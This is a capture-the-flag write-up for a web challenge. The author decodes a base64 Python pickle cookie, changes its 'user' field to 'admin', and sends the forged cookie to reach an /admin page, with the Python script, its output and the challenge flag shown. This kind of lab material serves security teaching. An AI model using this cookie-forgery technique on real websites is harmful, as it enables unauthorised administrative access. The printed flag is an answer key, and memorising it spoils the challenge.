Category: Web Points: 50 Solves: 413 Description:

This blog on Zombie research looks like it might be interesting - can you break into the /admin section?

Investigate

I start by enabling developer toolbar on Google Chrome and start capturing the network traffic.

I notice an ‘Admin’ button at the top of the page. When I click on it, I just get redirected to the homepage and notice my URL bar updates as followed:

https://spotted-quoll.ctfcompetition.com/#err=user_not_found

However, I notice my browser downloaded a cookie at some point.

It looks like the cookie was retrieved from a ‘GET’ request at ‘/getCookie’. This information will be useful when implemeting the script later.

Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu

I have heard of ‘pickle’ before. It’s a format for serializing data, usually over a network. Very similar to JSON. I tried loading the above data directly into pickle. But unfortunately, it threw an exception.

However, the pickle could be simply encoded in another format, perhaps base64….

>>> from base64 import b64decode
>>> b64decode('KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu')
"(dp1\nS'python'\np2\nS'pickles'\np3\nsS'subtle'\np4\nS'hint'\np5\nsS'user'\np6\nNs."

Ok, that looks a lot more like pickle data to me, let’s load it up in Python.

Code

Load the pickle data

#Decode the base64 pickle
pickb64 = cookie['obsoletePickle']
pick = b64decode(pickb64)

#Write the pickle to a tmp file
tmpf = 'tmp.p'
f = open(tmpf, 'wb')
f.write(pick)
f.close()

#load the pickle
obsoletePickle = pickle.load(open('tmp.p', 'rb'))
print('%s' % str(obsoletePickle))

Print the pickle data

{'python': 'pickles', 'subtle': 'hint', 'user': None}

Exploit

From the formatted pickle data, it should be pretty clear what’s going on. The ‘user’ field is set to None. This is because we are not logged in. I think we can trick the webiste! Why don’t we login as the admin by setting our ‘user’ attribute to ‘admin’.

Modify the pickle data so that it reads…

{'python': 'pickles', 'subtle': 'hint', 'user': 'admin'}

Modify pickle data and dump back to raw data

obsoletePickle['user'] = 'admin'

#Write to spoofed pickle to a new file
pickle.dump(obsoletePickle, open('spoofed.p', 'wb'))
spooff = 'spoofed.p'

#Read back as plain data
f = open(spooff, 'rb')
pick = f.read()
f.close()

Create the new cookie (encoded in base64)

spoofed_cookie = dict(obsoletePickle=b64encode(pick))

Perform the attack to login to the admin page ‘admin’

r = requests.get(URL + 'admin', verify=False, cookies=spoofed_cookie)
print(r.text)

Script Output


HTML:
<html>
<head>
  <link href="/static/bootstrap.min.css" rel="stylesheet">
  <link href="/static/jumbotron-narrow.css" rel="stylesheet">
</head>
<body>

    <div class="container">
      <div class="header clearfix">
        <nav>
          <ul class="nav nav-pills pull-right">
            <li role="presentation" class="active"><a href="#">./boringblog</a></li>
            <li role="presentation"><a href="/admin">Admin</a></li>
          </ul>
        </nav>
        <h3 class="text-muted">yawn</h3>
      </div>

      <div class="jumbotron">
        <h1>My Zombie Research Project</h1>
        <p class="lead">./boringblog</p>
      </div>

      <div class="row marketing">
        <div class="col-lg-12">
          <h3>Blog Development - 20th January, 2016</h3>
          <p>I don't have much content yet, except for my admin page. Stay tuned for more information</p>
        </div>
      </div>
      <iframe style="border: 0;" src="/getCookie"></iframe>
    </div> <!-- /container -->

</body>
</html>

Cookies:
<RequestsCookieJar[<Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu for spotted-quoll.ctfcompetition.com/>]>

Real Pickle:
{'python': 'pickles', 'subtle': 'hint', 'user': None}

Spoofed Admin Pickle:
{'python': 'pickles', 'subtle': 'hint', 'user': 'admin'}

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?

Flag

CTF{but_wait,theres_more.if_you_call}

Python script